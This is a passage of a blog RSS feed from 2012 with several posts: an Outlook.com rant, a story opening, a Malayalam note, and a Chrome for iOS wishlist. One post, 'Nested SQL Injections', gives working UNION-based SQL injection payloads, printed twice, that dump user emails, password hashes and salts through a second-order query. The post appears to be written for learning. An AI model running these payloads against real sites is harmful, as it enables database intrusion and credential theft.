Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.
The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.
The “Insert Link” option is horribly designed. It does not respond to enter keys, and has no place to add “Text” for the link either.
There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.
The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the
ability to use archive to move to any custom folder)
The “Active View”, which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using
Moonlight (Silverlight’s OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can 
only download pics from Outlook, and not browse them online (which is a huge pain-point for me).
/Rant]]></description>
            <content:encoded><![CDATA[<p>I’d been one of the most eager users of the new outlook.com redesign. 
I’m a real fan of Metro (sorry, I must call it the New Windows 8 Design),
 and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.</p>

<p>Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.</p>

<p>The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.</p>

<p>The “Insert Link” option is horribly designed. It does not respond to enter keys, and has no place to add “Text” for the link either.</p>

<p>There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.</p>

<p>The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the
ability to use archive to move to any custom folder)</p>

<p>The “Active View”, which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using
Moonlight (Silverlight’s OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can 
only download pics from Outlook, and not browse them online (which is a huge pain-point for me).</p>

<p>/Rant</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Parallels]]></title>
            <link>https://nadh.in/blog/parallels/</link>
            <guid isPermaLink="false">https://nadh.in/blog/parallels/</guid>
            <pubDate>Tue, 18 Dec 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[A sci-fi short story inspired by Isaac Asimov’s “The Last Question”.
Munic hurried along the dimly lit corridors of the C-wing of the Neutrino lab. It was past midnight, and he had received an alert on his phone sent by one of the monitoring terminals. His palms and brows were trickling sweat despite the unusually cold night. His off-white Oxford shirt was unevenly buttoned and lazily tucked in, but he didn’t seem to notice, or for that matter, care.]]></description>
            <content:encoded><![CDATA[<p><em>A sci-fi short story inspired by Isaac Asimov&rsquo;s “<a href="http://en.wikipedia.org/wiki/The_Last_Question">The Last Question</a>”.</em></p>
<p>Munic hurried along the dimly lit corridors of the C-wing of the Neutrino lab. It was past midnight, and he had received an alert on his phone sent by one of the monitoring terminals. His palms and brows were trickling sweat despite the unusually cold night. His off-white Oxford shirt was unevenly buttoned and lazily tucked in, but he didn&rsquo;t seem to notice, or for that matter, care.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[അണ്ണാരക്കണ്ണന്‍മാര്‍]]></title>
            <link>https://nadh.in/blog/%E0%B4%85%E0%B4%A3%E0%B5%8D%E0%B4%A3%E0%B4%BE%E0%B4%B0%E0%B4%95%E0%B5%8D%E0%B4%95%E0%B4%A3%E0%B5%8D%E0%B4%A3%E0%B4%A8%E0%B5%8D%E0%B4%AE%E0%B4%BE%E0%B4%B0%E0%B5%8D/</link>
            <guid isPermaLink="false">https://nadh.in/blog/%E0%B4%85%E0%B4%A3%E0%B5%8D%E0%B4%A3%E0%B4%BE%E0%B4%B0%E0%B4%95%E0%B5%8D%E0%B4%95%E0%B4%A3%E0%B5%8D%E0%B4%A3%E0%B4%A8%E0%B5%8D%E0%B4%AE%E0%B4%BE%E0%B4%B0%E0%B5%8D/</guid>
            <pubDate>Wed, 15 Aug 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[കഴിഞ്ഞ മൂന്നു വര്‍ഷങ്ങളില്‍ എണ്ണം 80-ശതമാനത്തിലധികം
കുറഞ്ഞ അണ്ണാരക്കണ്ണന്‍മാര്‍ ഇപ്പോള്‍ വംശനാശ ഭീഷണി
നേരിടുകയാണ് (മാതൃഭൂമി, 15 ഓഗസ്റ്റ്). കേരളത്തിലെമ്പാടും
ഒരു കാലത്ത് പതിവ് കാഴ്ച്ചയായിരുന്ന അണ്ണാന്‍ ഇല്ലാതാകുന്നു
എന്ന് കേള്‍ക്കുമ്പോള്‍ ആദ്യം നടുക്കം, പിന്നെ സങ്കടം :(]]></description>
            <content:encoded><![CDATA[<p>കഴിഞ്ഞ മൂന്നു വര്‍ഷങ്ങളില്‍ എണ്ണം 80-ശതമാനത്തിലധികം
കുറഞ്ഞ അണ്ണാരക്കണ്ണന്‍മാര്‍ ഇപ്പോള്‍ വംശനാശ ഭീഷണി
നേരിടുകയാണ് (മാതൃഭൂമി, 15 ഓഗസ്റ്റ്). കേരളത്തിലെമ്പാടും
ഒരു കാലത്ത് പതിവ് കാഴ്ച്ചയായിരുന്ന അണ്ണാന്‍ ഇല്ലാതാകുന്നു
എന്ന് കേള്‍ക്കുമ്പോള്‍ ആദ്യം നടുക്കം, പിന്നെ സങ്കടം :(</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Things I expect in a Chrome/iOS update]]></title>
            <link>https://captnemo.in/blog/2012/07/14/chrome-ios/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/07/14/chrome-ios/</guid>
            <pubDate>Sat, 14 Jul 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I’ve changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.
Why I love Chrome
Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.
Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don’t own a Mac, so I can’t comment against how Safari/iCloud does it, but it works well enough for me.
All my desktop bookmarks (and bookmarklets) are available and functioning instantly.
Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.
Incognito Mode (I previously used Dolphin in private mode, but this is far better).
Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. See Image for Comparision
Tab Switching is brilliant. It seems to be inspired/copied straight from Paper, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I’ve read people complaining about this, but it helps me browse on the ipad one-handed.
It feels fast, especially after continous use. I don’t know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.
Note: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well.  I’ve ditched Facebook App for a shortcut icon to touch.facebook.com as a result.
Things I want
Support for configurable search engines. I use them extensively (for eg duckduckgo, google lucky search, amazon, ebay, github, stackoverflow and even google mobile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).
Find in Page. This is a no-brainer. Edit: This is available via Chrome Customizer in Cydia for a jailbroken device.
Ability to turn off images/javascript) (Content Settings). I’m not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).
Support for emailing an entire page (rendered).
UserScript support. I don’t know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?
Readability/iReader like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. Update: ChromeCustomizer can do this via settings menu (see below).
Better access to bookmarks/bookmarklets. At least show me the mobile bookmarks so I can keep them separate.
Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.
App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as “Chrome Apps” against “Extensions”, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.
Better history support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you’re at it).
Mailto support (for gmail etc). Don’t know if possible, but would be nice to have.
Selection Mailing. Just let me select and mail some html.
Handle pdfs better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the “Open In iBooks” link. Don’t see this happening though. (Update: This was fixed in a Chrome Update)
Webintents support would be nice to have (via something other than chrome Webstore, I Guess)
CloudPrint support. I don’t use this, but I am assuming there are people who do.
FullScreen support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome’s faster tab switching should help it out with some of the Full Screen issues. (Edit: This is available via a three finger tap if you install Chromizer from Cydia’s ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.
There is also a ChromeURL tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).
Another one called ChromeCustomizer offers the following:
Add one bookmarklet to the settings menu. I’m using Readable at present.
Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer’s 3 finger tap for fullscreen.
Adds a Find in Page feature. Update: This is now available
Adds some filtering for ads/tracking websites.
Adds an option to change Chrome tab switching mode (iPhone vs iPad).
See this blog post for some more tweaks available on cydia.]]></description>
            <content:encoded><![CDATA[<p>I’ve changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.</p>

<h2 id="why-i-love-chrome">Why I love Chrome</h2>

<p>Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.</p>

<ul>
  <li>Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don’t own a Mac, so I can’t comment against how Safari/iCloud does it, but it works well enough for me.</li>
  <li>All my desktop bookmarks (and bookmarklets) are available and functioning instantly.</li>
  <li>Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.</li>
  <li>Incognito Mode (I previously used Dolphin in private mode, but this is far better).</li>
  <li>Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. <a href="https://captnemo.in/img/bookmark_compare.png">See Image for Comparision</a></li>
  <li>Tab Switching is brilliant. It seems to be inspired/copied straight from <a href="http://itunes.apple.com/us/app/paper-by-fiftythree/id506003812?mt=8">Paper</a>, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I’ve read people complaining about this, but it helps me browse on the ipad one-handed.</li>
  <li>It feels fast, especially after continous use. I don’t know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.</li>
</ul>

<p><strong>Note</strong>: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well.  I’ve ditched Facebook App for a shortcut icon to <code class="language-plaintext highlighter-rouge">touch.facebook.com</code> as a result.</p>

<h2 id="things-i-want">Things I want</h2>

<ul>
  <li>Support for <strong>configurable search engines</strong>. I use them extensively (for eg <strong>d</strong>uckduckgo, google <strong>l</strong>ucky search, <strong>a</strong>mazon, <strong>e</strong>bay, <strong>g</strong>it<strong>h</strong>ub, <strong>s</strong>tack<strong>o</strong>verflow and even google <strong>m</strong>obile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).</li>
  <li><strong>Find in Page</strong>. This is a no-brainer. <strong>Edit</strong>: This is available via <a href="http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/">Chrome Customizer</a> in Cydia for a jailbroken device.</li>
  <li>Ability to <strong>turn off images/javascript</strong>) (Content Settings). I’m not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).</li>
  <li>Support for emailing an entire page (rendered).</li>
  <li><strong>UserScript support</strong>. I don’t know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?</li>
  <li><strong>Readability/iReader</strong> like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. <strong>Update</strong>: ChromeCustomizer can do this via settings menu (see below).</li>
  <li><strong>Better access to bookmarks/bookmarklets</strong>. At least show me the mobile bookmarks so I can keep them separate.</li>
  <li>Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.</li>
  <li>App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as <strong>“Chrome Apps”</strong> against “Extensions”, which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.</li>
  <li><strong>Better history</strong> support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you’re at it).</li>
  <li>Mailto support (for gmail etc). Don’t know if possible, but would be nice to have.</li>
  <li>Selection Mailing. Just let me select and mail some html.</li>
  <li><strong>Handle pdfs</strong> better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the “Open In iBooks” link. Don’t see this happening though. (Update: This was fixed in a Chrome Update)</li>
  <li><strong>Webintents</strong> support would be nice to have (via something other than chrome Webstore, I Guess)</li>
  <li><strong>CloudPrint</strong> support. I don’t use this, but I am assuming there are people who do.</li>
  <li><strong>FullScreen</strong> support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome’s faster tab switching should help it out with some of the Full Screen issues. (<strong>Edit</strong>: This is available via a three finger tap if you install <a href="http://www.idownloadblog.com/2012/07/01/chromizer/">Chromizer</a> from Cydia’s ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.</li>
</ul>

<p>There is also a <a href="http://www.idownloadblog.com/2012/07/01/chromeurl/">ChromeURL</a> tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).</p>

<p>Another one called <a href="http://modmyi.com/content/8108-chromecustomization-adds-some-new-stuff-google-chrome.html">ChromeCustomizer</a> offers the following:</p>

<ul>
  <li>Add one bookmarklet to the settings menu. I’m using <a href="http://readable.tastefulwords.com/">Readable</a> at present.</li>
  <li>Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer’s 3 finger tap for fullscreen.</li>
  <li>Adds a Find in Page feature. <strong>Update</strong>: This is now available</li>
  <li>Adds some filtering for ads/tracking websites.</li>
  <li>Adds an option to change Chrome tab switching mode (iPhone vs iPad).</li>
</ul>

<p>See <a href="http://www.addictivetips.com/ios/great-cydia-tweaks-for-chrome-iphone-ipad/">this blog post</a> for some more tweaks available on cydia.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Nested SQL Injections]]></title>
            <link>https://captnemo.in/blog/2012/06/09/nested-sql-injections/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/06/09/nested-sql-injections/</guid>
            <pubDate>Sat, 09 Jun 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[I recently did something along this line, and this technique is really cool. (I prefer to call it “inception” injection). Its pretty easy once you figure it out, so here it goes.
If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).
Query 1:
SELECT * FROM users WHERE email='$email' AND password = '$pass'


This query is usually accompanied with:
<?php
$_SESSION['email'] = $row['username'];


Query 2:
Assuming something like a profile page:
SELECT * FROM user_details WHERE email='{$_SESSION['email']}'


#Injection
Injecting the first query (basic)
SELECT * FROM users WHERE email='user@email.com' # AND password=''


Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.
Thinking backwards, we could create a custom query for user_details:
SELECT * FROM user_details WHERE email='' UNION SELECT * FROM user_details #


This would show the details of the first user in the profile page. Let’s think a bit larger:
SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password) FROM user_details #


Usually, this won’t work (different number of columns in results). You’d have to use ORDER BY to guess the number of columns. Writing only the UNION part now:
UNION SELECT * FROM user_details ORDER BY 1 #
UNION SELECT * FROM user_details ORDER BY 2 #
UNION SELECT * FROM user_details ORDER BY 3 #
UNION SELECT * FROM user_details ORDER BY 4 # -- Gives Error


So we realize that user_details has 3 columns. Coming back, we could do:
UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password), 3 FROM users #


That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:
UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0)


Change the OFFSET and you’re ready to roll.
Inception Injection
This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn’t give much output). The only thing you can modify is the email, which offers you a single field.
However, the only attack vector ($_SESSION) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.
SELECT * FROM users WHERE email='' UNION SELECT * FROM users # -- will give us first user
SELECT * FROM users WHERE email='' UNION SELECT * FROM users  ORDER BY 1 # -- keep increasing to get number of columns
SELECT * FROM users WHERE email='' UNION SELECT 1,2,3 FROM users # -- This would let us know which column corresponds to the email id
SELECT * FROM users WHERE email='' UNION SELECT "<inject second query here>",2,3 FROM users # -- This would let us know which column corresponds to the email id


Although we have been writing injection code starting with UNION, it actually would start with ‘ UNION… Using our last injection code for the second query here, it becomes:
SELECT * FROM users WHERE email='' UNION SELECT "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #",2,3 FROM users #


What happens on the server side:
<?php
	$_SESSION['email'] = "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"


and the second query becomes:
SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #


Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.]]></description>
            <content:encoded><![CDATA[<p>I recently did something along this line, and this technique is really cool. (I prefer to call it “inception” injection). Its pretty easy once you figure it out, so here it goes.</p>

<p>If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a “input variable” into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).</p>

<h2 id="query-1">Query 1:</h2>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'$email'</span> <span class="k">AND</span> <span class="n">password</span> <span class="o">=</span> <span class="s1">'$pass'</span></code></pre></figure>

<p>This query is usually accompanied with:</p>

<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$row</span><span class="p">[</span><span class="s1">'username'</span><span class="p">];</span></code></pre></figure>

<h2 id="query-2">Query 2:</h2>

<p>Assuming something like a profile page:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'{$_SESSION['</span><span class="n">email</span><span class="s1">']}'</span></code></pre></figure>

<p>#Injection</p>

<p>Injecting the first query (basic)</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">'user@email.com'</span> <span class="o">#</span> <span class="k">AND</span> <span class="n">password</span><span class="o">=</span><span class="s1">''</span></code></pre></figure>

<p>Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.</p>

<p>Thinking backwards, we could create a custom query for user_details:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="o">#</span></code></pre></figure>

<p>This would show the details of the first user in the profile page. Let’s think a bit larger:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="o">#</span></code></pre></figure>

<p>Usually, this won’t work (different number of columns in results). You’d have to use ORDER BY to guess the number of columns. Writing only the <code class="language-plaintext highlighter-rouge">UNION</code> part now:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">1</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">2</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">3</span> <span class="o">#</span>
<span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">4</span> <span class="o">#</span> <span class="c1">-- Gives Error</span></code></pre></figure>

<p>So we realize that user_details has 3 columns. Coming back, we could do:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span> <span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span></code></pre></figure>

<p>That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">salt</span><span class="p">)</span> <span class="k">FROM</span> <span class="p">(</span><span class="k">SELECT</span> <span class="n">email</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="n">salt</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">LIMIT</span> <span class="mi">50</span> <span class="k">OFFSET</span> <span class="mi">0</span><span class="p">)</span></code></pre></figure>

<p>Change the OFFSET and you’re ready to roll.</p>

<h2 id="inception-injection">Inception Injection</h2>

<p>This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn’t give much output). The only thing you can modify is the email, which offers you a single field.</p>

<p>However, the only attack vector (<code class="language-plaintext highlighter-rouge">$_SESSION</code>) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- will give us first user</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span>  <span class="k">ORDER</span> <span class="k">BY</span> <span class="mi">1</span> <span class="o">#</span> <span class="c1">-- keep increasing to get number of columns</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- This would let us know which column corresponds to the email id</span>
<span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="nv">"&lt;inject second query here&gt;"</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span> <span class="c1">-- This would let us know which column corresponds to the email id</span></code></pre></figure>

<p>Although we have been writing injection code starting with UNION, it actually would start with ‘ UNION… Using our last injection code for the second query here, it becomes:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="nv">"' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span> <span class="k">FROM</span> <span class="n">users</span> <span class="o">#</span></code></pre></figure>

<p>What happens on the server side:</p>

<figure class="highlight"><pre><code class="language-php" data-lang="php"><span class="cp">&lt;?php</span>
	<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"</span></code></pre></figure>

<p>and the second query becomes:</p>

<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">user_details</span> <span class="k">WHERE</span> <span class="n">email</span><span class="o">=</span><span class="s1">''</span> <span class="k">UNION</span> <span class="k">SELECT</span> <span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">email</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">password</span><span class="p">),</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">salt</span><span class="p">)</span> <span class="k">FROM</span> <span class="p">(</span><span class="k">SELECT</span> <span class="n">email</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="n">salt</span> <span class="k">FROM</span> <span class="n">users</span> <span class="k">LIMIT</span> <span class="mi">50</span> <span class="k">OFFSET</span> <span class="mi">0</span><span class="p">)</span> <span class="o">#</span></code></pre></figure>

<p>Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Akira - Winning entry to the Adobe Express Apps Contest]]></title>
            <link>https://captnemo.in/blog/2012/05/23/phonegap-blog-post/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2012/05/23/phonegap-blog-post/</guid>
            <pubDate>Wed, 23 May 2012 00:00:00 GMT</pubDate>
            <description><![CDATA[This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.
Contest Rules
The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.
